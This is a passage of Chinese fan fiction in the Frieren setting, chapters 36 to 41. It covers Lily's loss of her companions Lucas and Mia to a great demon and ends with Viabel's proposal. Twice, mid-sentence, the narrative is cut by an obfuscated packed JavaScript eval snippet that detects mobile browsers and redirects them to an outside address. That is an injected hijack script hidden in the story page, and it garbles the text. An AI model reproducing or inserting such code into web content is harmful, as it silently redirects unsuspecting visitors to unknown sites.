在庞大的魔力量面前,任何技巧都不够看。但既然会用防御魔法,就说明她是具备弱点的,也许我可以试着增加魔力的密度…… 忽然,我睁大了眼睛,慌忙举起法杖。 “卢卡斯!” 36. 索莉缇尔利用我们的同伴关系牵制住了我们,因为我们都想要保护同伴。 在她攻击卢卡斯的时候,我举起法杖袭击她,而她转头用出魔法,飞剑朝着我和米娅打来——几个回合下来,我们三个都受了伤,其中以我伤势最重,我已经无法再挥动魔杖了,如果不是米娅在这里,我可能会因为失血过多而当场死掉。 ……恐惧逐渐席卷全身。 “你看起来好像不相信那个诅咒,表情很不错呢,和当年那个女人一样。”索莉缇尔说道,“再多和我聊聊吧,关于你家里的人后来怎么样了,我很好奇呢……” 她在戏耍我们,明明可以直接杀死人类,却用想要聊天做借口…… 这样下去不行! 我留下来断后,让米娅用高速移动魔法带着卢卡斯走,虽然她用这个魔法的水平达不到炉火纯青的地步,但有我拖延时间,他们应该能逃回提尤亚,那里有结界。 “米娅。”卢卡斯擦掉吐出来的血,“带莉莉走。” ……什、什么?!不要,卢卡斯—— 米娅没说话,她深深地看了卢卡斯一眼,然后背起了我:“要走了,莉莉,抱紧我。” “……” “好感人,这就是人类的情感吗?”索莉缇尔惊叹道,“但是我的移动速度是很快的哦,就算你留下来,这两个女孩也无法逃走的,真是毫无意义的死亡。” “真啰嗦啊。”卢卡斯说,“你又凭什么来界定死亡的意义?” 卢卡斯消失在了我的视线里,身后的场景不断变换——森林发出了巨响,那是战斗的声音。我听到了米娅在克制哭泣的声音,我知道她在想什么,我们都知道。 他可能已经死了。 尽管米娅拼了命地用魔法移动,但索莉缇尔还是追上了我们。 “我现在觉得这样也不错。”她似笑非笑地看着我,“现在你总该相信,那个诅咒是真的了吧——有人因你而死了哦,而且死得无声无息,毫无意义。” “……米娅,快逃。”我艰难地说道。 不要管我了,把我放下之后,她可以移动得更快…… “不许你对莉莉说这种话!”米娅挡在了我的身前,“她才不是被诅咒的人,她是位很优秀的魔法使,我们之中最前途无量的人,只要她活下去,她会拯救更多的人……” “也不许你否定卢卡斯,他的牺牲绝对不是毫无意义的,绝对不是!!” 在她们俩对话的时候,有什么东西被戴在了我的手指上。 当我意识到那是什么的时候,眼泪和伤痛已经影响了我说话的能力。 米、娅……不要…… “就算你是大魔族,要解析伏拉梅大人留下的结界也需要很长的时间吧?这样长的时间也足够很多魔法使集合过来,我想你不会希望这种事情发生。”米娅说道。 “你在说什么?是在拖延时间吗,米娅小姐?”索莉缇尔歪了歪头,发动攻击。 “我说过,卢卡斯的牺牲不是毫无意义。”米娅用出防御魔法,“这里已经是可以直接抵达城内的距离……” 卢卡斯为我们争取到了时间。 “莉莉,听话。”她偏过头来,对我露出一个笑容,“为了我们,好好地活下去吧……” “不要报仇。” 米娅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635534|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推了我一把,方向是提尤亚。 而在这之前,她已经把卢卡斯送给她的戒指戴在了我的手上,那是只能带走一个人的移动魔法——千钧一发之际,由我赋予在那枚绿水晶上的魔法发动,我被当场带离,依稀间好像听到索莉缇尔说了句“人类真是总能给我惊喜”。 下一秒,我坠落在了距离提尤亚的城门只有几米的地方。 周围的人们发出惊呼,卫兵们朝我跑了过来,而我则是仓皇地看向自己的手指。 水晶在逐渐破碎。 由于已经失去了魔力,和米娅的眼睛一样的绿色就这样在我眼前碎掉了。 这是米娅给予我的,最后的温柔的注视。 37. 再次醒来的时候,我发现自己躺在陌生的房间里,看装潢应该是教会。身上的伤势已经得到了治疗,但牵动伤口的时候还是很痛,看来这名治疗者的水平不如米娅…… ……米娅,卢卡斯。 一想到他们,我就忍不住落泪。 明明不久之前大家还那样幸福,我还想象过他们在五年后的生活,怎么转眼间就化为了泡影,只剩下我一个人了…… 维亚贝鲁是在这个时候推门而入的,看到我已经醒了,他连忙冲了过来:“莉莉!” 在我们三人离开之后,北部魔法队也在重整行装,准备出发。由于他们人比我们更多,要准备的东西也就更多,因此当我出现提尤亚城门前的时候,他们才从旅馆离开——我曾经占卜过的那位商人认出了我,他跑回去拦住维亚贝鲁,把这事告诉了他。 ……那比他已经走到城门面前,直接看到奄奄一息的我要好,这样冲击力会小一些。我抱着他崩溃地大哭,而无需我说什么,维亚贝鲁就已经猜到了事情的经过。毕竟三个人离开,回来的却只有一个人,甚至还伤成了这样。 我说他们俩都是被我害死的,因为那个诅咒。 我知道,就算那个诅咒并不存在魔力上的作用,不会真的让人英年早逝,但他们仍旧是因为我而死……如果不是那个大魔族认出了我的法杖,她未必会对我们发动攻击。如果留下的是我而非卢卡斯,如果最后使用戒指的是米娅而不是我…… 我知道,就算我留下了,我也无法战胜索莉缇尔。她的魔力散射实在太强大了,论近身战斗,恐怕需要好几个一级魔法使才能和她对战。如果在有人拖住她的同时,另一个人从她的魔力探知范围之外的距离发动偷袭,或许有取胜的可能。但我做不到超远距离的攻击……她太强了,我不是她的对手,所以米娅让我不要报仇。 如果只是因为打不过而被杀死了也就算了,那是我技不如人,总比我都没来得及做什么,就在一开始失去了战斗力要好。 我怎么能不为他们报仇,我如何能放下?他们俩可是带给我人生另一种可能的好朋友啊,如果没有他们,我现在不知道还在过着多么漫无目的的充满欺骗的生活…… 而且,如果那个诅咒真的存在魔力上的作用呢? 我泪眼朦胧地看向维亚贝鲁,想起了卢卡斯绑在风筝上的那块布条。他在布条上写:莉莉,是时候开始从你的新起点出发啦,我相信在终点等待着你的一定是幸福的每一天…… 我不想再有任何人……因为我而死了。 就这样,即使没人放心我自己一个人离开,但在伤势痊愈后,我还是执意选择了分别,与维亚贝鲁朝着不同的方向走去。 我找到了自己的人生目标,那就是……我要为我的好朋友报仇。 哪怕这需要用我的一生来实现。 每个人都有自己想去的地方。 10. The End(完) 38. “是吗?索莉缇尔,没听说过的大魔族……”芙莉莲露出了沉思的表情,“我之前对菲伦说过,遇到大魔族必须立刻逃走,因为即使像她这样优秀的魔法使,也需要再努力半个世纪才能和他们平分秋色。” “莉莉大人,谢谢你提供的消息,这些内容都非常宝贵。”菲伦对我道谢,“如果我们在北上的过程中遇到了她,一定会多加警惕的。” 芙莉莲师徒的目的地是魔王城旧址,我本来以为她只是想要重游当初曾经和勇者大人征讨魔王所走的路线,但在菲伦小姐和她低声说了几句话之后,她告诉我说,不只是这样。 “据说那里是灵魂长眠之地。”她说,“在那里可以见到死去的朋友。” “……” 会对幻影鬼产生犹豫,只能说明对方对你很重要——这是菲伦的理解。她没有取笑我之前的落荒而逃,而是因为理解我,才和芙莉莲商议了一下告知了我这件事。毕竟芙莉莲当年也见过我的祖辈,也算是一场特别的缘分。 现在想来,或许我的曾祖父是因为无法继续自欺欺人,在得知了诅咒的真相后选择了自杀……他死前没有把这个事情记录下来,大概是冲击力太大,或者是没想到还会有人在他死后知道这个诅咒,最终导致了之后的大火吧。 但我和他们不一样,我是有目标的人,这个目标在我这里,可以战胜对诅咒的恐惧和厌恶。 我从没想过自己能再见到卢卡斯和米娅,与幻影鬼的见面对我来说已经足够具备冲击力,和灵魂见面……即使这种事情真的能够做到,我想我也无法面对他们。 不过我还是很感谢她们告知我这种事情,能够得知这个世界上存在着可以让灵魂安眠的地方,对我来说也是一种有力的安慰。 在中央诸国的某个村庄遇到芙莉莲师徒并不是今年发生的事情,只是在同她们道别后,我再次去了米娅和卢卡斯的家乡。那片森林被破坏的太严重了,他们没有留下遗体,也许是被大魔族吃掉了,也许是回归了自然。我在他们的家乡给他们立了一块空墓,每次路过那里时,我都会去扫墓。 曾经发生战争的地方已经恢复了和平,搬走的人们有些回来了,有些不知所踪。在那些还记得米娅和卢卡斯的人眼里,他们俩就属于后者。我从那些人口中知道了很多米娅和卢卡斯小时候的事情,他们在哪里放风筝,爱吃什么店铺的食物…… 教堂得到了重建,曾经和米娅一起做修女的姐姐说,其实教会的大家都知道米娅和卢卡斯的事情,只是假装不知道而已。 这次我在那里住了一段时间。 菲伦小姐在魔法上比我更具备天赋。我花了几年才解决的那些薄弱的地方,她早在更年轻的时候就已经通过努力克服了这些问题,可是芙莉莲大人仍旧说她需要再努力半个世纪才行……虽然这可能只是精灵独有的时间单位,但我能做得比菲伦小姐更好吗? 米娅说,不要报仇。 可我能就这样放下吗?在死去的朋友们的牺牲上,独自享有幸福…… 日复一日的,我在教堂向女神祷告。 修女姐姐说,好孩子,你只是需要时间。 ……时间吗? 39. 在南部诸国的这几年,我和维亚贝鲁一直保持着联络。说是一直,其实也不完全是,因为路途遥远,有时候托人带去的信件会丢失,有时候又会因为寒潮而耽误很久,所以经常是我们彼此都在各说各的事情,无法和之前的内容联系起来。 但这样就足够了,只要知道彼此还活着就足够了。 当年那张和维亚贝鲁的留影被我留给了他,因为那位魔法使喝多了,忘记给这张进行复数。我只拿走了和卢卡斯和米娅一起的那份,他们俩一左一右站在我身边,笑容是如出一辙的温暖,只有我被永远留在了他们死亡的那一刻,连心声都变成了一片死寂。 我连米娅送我的耳钉都没有勇气戴上。 握住了身前那枚太阳图案的吊坠,我想,如果我决定走向人生的新起点,我的朋友们,你们一定会祝福我的。 对吧? 日往月来,斗转星移。 在又一次为他们在墓碑前放上鲜花后,我决定离开。 我想要看到未来。 风筝的终点是我,而我的终点也应该是美好的。 于是停住的时间再次转动起来。 我一路北上,带着我学会的“治疗晕船”的魔法,最终来到了这座距离奥伊萨斯特最近的港口,我在这里暂时落脚,等待着一定会来到这里的维亚贝鲁。 维亚贝鲁并不希望我来北方边境,一方面是因为这里的形势比当初更加不好,另一方面也是因为他不想我再次遇到索莉缇尔。既然那个大魔族当时就在北方诸国,说不定现在也还在附近,我来这边的风险太高了。 “维亚贝鲁,我比当年厉害多了。”不要小瞧我。 “嗯,我知道。”维亚贝鲁一边用手帕给我擦眼泪,一边听我说话。 我说现在的我虽然只是二级魔法使,但无论是在攻击还是防御上,亦或者是魔力值,我都有了显著的进步。几年来,我帮助了很多人,学到了很多东西,如今的我不会再成为任何人的累赘,我可以和他一起保护北方边境。 “你明知道我不是那个意思。”维亚贝鲁看向窗外,天边的夜色已经没有之前那样浓郁了,变成了一种奇异的蓝色,“我说过的,不要去做自己不想做的事,就算是为了朋友。” 哦,朋友…… “好啊,那把我送你的那块金色的‘好运石’还我。”我朝他伸出手,“只要你还给我,我就回南部。” “……” 沉默了! 拿不出来是吧,绝对是用了——这人果然有遇到过致命的危险,而且也没在信里跟我说! 不过,既然他已经用掉了,想必他应该知道…… 见我一副兴师问罪的模样,维亚贝鲁立刻举手表示投降,跟我解释起了事情的经过:“是在两年前。” 40. 两年前,北部边境。 和魔族的战斗来得猝不及防,谁也没想到这座小村庄会被突然袭击,即使北部魔法队的成员恰好路过这里,但战斗的情况也不容乐观——因为他们刚经历过一场恶战,很多人的魔力都被消耗了个七七八八。 糟糕,中计了!维亚贝鲁一边在心底这样想,一边掩护村民们撤离。 他战斗至了魔力耗空的最后一刻,连目光束缚魔法都无法再发动,而他的身后还有瑟瑟发抖的小孩子。 ……这下可能是真的要结束了。 诅咒的阴影好似在一步步逼近,将他就此笼罩。 在这样快要送命的时刻,维亚贝鲁想起了许多事。他想起自己年幼时听的那些和勇者辛美尔有关的英雄事迹,想起自己对小时候说过的“把魔族全部都赶走”的大话,想起自己成为魔法使的时刻,然后,他想起了那个女孩。 莉莉。 对不起,莉莉,这次他真的要食言了。 只希望他的队友里有人能有点眼力见,在她下次寄信过来的时候,把他出事的消息瞒过去,不然她如果知道了,一定会想到那个混蛋诅咒,然后因此感到自责。 卢卡斯和米娅已经离开了她,而他这次也要…… 他握住了那块金色的石头,那是她送他的好运石。依照他对她的了解,她喜欢在这种石头上赋予移动魔法,无论是卖给商人的那块,还是送给米娅的水晶都是如此,想来他手里的这块金色的石头也不会例外。 但它有一个致命的缺陷就是,它只能带走一个人。 他之所以成为魔法使,就是为了保护家乡,保护更多的人。直到这种时候,他的选择也会和之前一样。 所以这块金色的石头,就留给那个小朋友吧。 啊,死亡来临前的感觉是这样的不安吗……他还以为他不怕死来着,没想到到底还是没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635535|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己想象中那样洒脱…… 在他想要把石头转送给小孩子的时候,金色的石头突然爆发出强烈的光芒,像是日光忽然洒满大地一样,快到维亚贝鲁那一瞬间几乎没意识到到底发生了什么——喷涌而出的魔力贯穿了眼前这名魔族的心口。 望着逐渐化为尘埃的魔族,维亚贝鲁后知后觉地恍然大悟。 ……居然不是移动魔法! 是他先入为主了,完全没想到在给他的这块石头上,莉莉赋予的魔法是专门应对魔族的“杀人魔法”……难怪她当初会那样“顺手”地把它送给他,想来这是她专门为他准备的,她本来就要送给他。 因为她知道直到最后一刻,他都会选择保护别人,绝不会独自逃走。 所以比起移动魔法,或许他更需要在一瞬间改变战局的攻击魔法。 她是那样了解他。 看着金色的石头逐渐破碎的模样,维亚贝鲁忽然感觉十分疲惫。这是他在这几年里最想念莉莉的时刻。他想,在这场战斗结束后,他要给她写一封信。 即使她不在他身边,但诅咒会在她的注视下退却。 41. 窗外的天空越来越亮了,我们回到了甲板上,等待着日出的到来。 听完他的讲述,我说我就知道——他那封信的语气太不对劲了,我一想就知道他肯定是遇到了什么事。虽然我之后又给他寄了一块新的好运石,但那并不是金色的,毕竟这种材料能够找到就不错了,还轮不到我来挑选颜色。 “就因为有我给你托底,所以你不怕死是吧?”我不高兴地说道。 还说他会在下次快要送命的时候,会因为想到我,然后活下去……这不是很坦然地面对了死亡吗?倒是无论怎么样都给我好好地活下去啊! “不是的。唯有这一点我要说,是你想错了。”维亚贝鲁不再看天边泛起的金色,而是看向我,“正是因为你,我变得有些怕死。” ……什么? 我惊讶地看着他。 云彩被染成了好看的金橘色,海面变得波光粼粼,耀眼的金色照亮了这个世界。漫长的深夜终于迎来了“The End”,新的一天开始了。 这是我第一次和朋友之外的人看日出,而和我一起看日出的这个人一点也不像他说那样忙。他根本没有看天边的太阳,而是一直在注视着我。 “……真是的,一点也不让人放心。”我不由得弯了弯嘴角,“承认吧,维亚贝鲁,你需要我在你的身边。” 维亚贝鲁“嗯”了一声,说好的,他会支持我想要做的决定,毕竟我们莉莉已经是成熟可靠的大人了。顺便一提,他去年又路过了一次提尤亚,而当年的首饰店的老奶奶还记得他。 哦,是吗?他又去定做了什么新的定情信物吗? “你猜?”维亚贝鲁说道。 那我肯定要猜我最想看到的了。 我朝他伸出手。 魔族“诅咒”我不能去在意,不能去喜欢,不能去爱,而我也的确失去了我所拥有的。但那不是因为我罪不可赦,而是因为朋友们爱我,时至今日,我的存在本身就是我所拥有的,他们对我的爱。 因此,我不能辜负他们,我要让他们的祝福变成真正存在着的美好。 我要终结这个可笑的诅咒。 我要去爱。 在朝阳与海风的见证下,维亚贝鲁单膝跪下,然后取出一枚戒指。日光为他镀上一层好看的金色,我忍不住笑,说我们现在是一起看日出的关系了。 “那么,莉莉小姐,请问你是否愿意赋予我‘爱’的魔法?” 船体推开海浪的声音哗啦啦的,而我心中的小鸟也再次振翅,死去已久的心脏重新开始为了美好的事物充满活力地跳跃起来。 这次是喜悦的泪水。 “好啊,成为我的终点吧,维亚贝鲁。”我对他露出一个笑容,“以及,下船之后陪我去打个耳洞。” END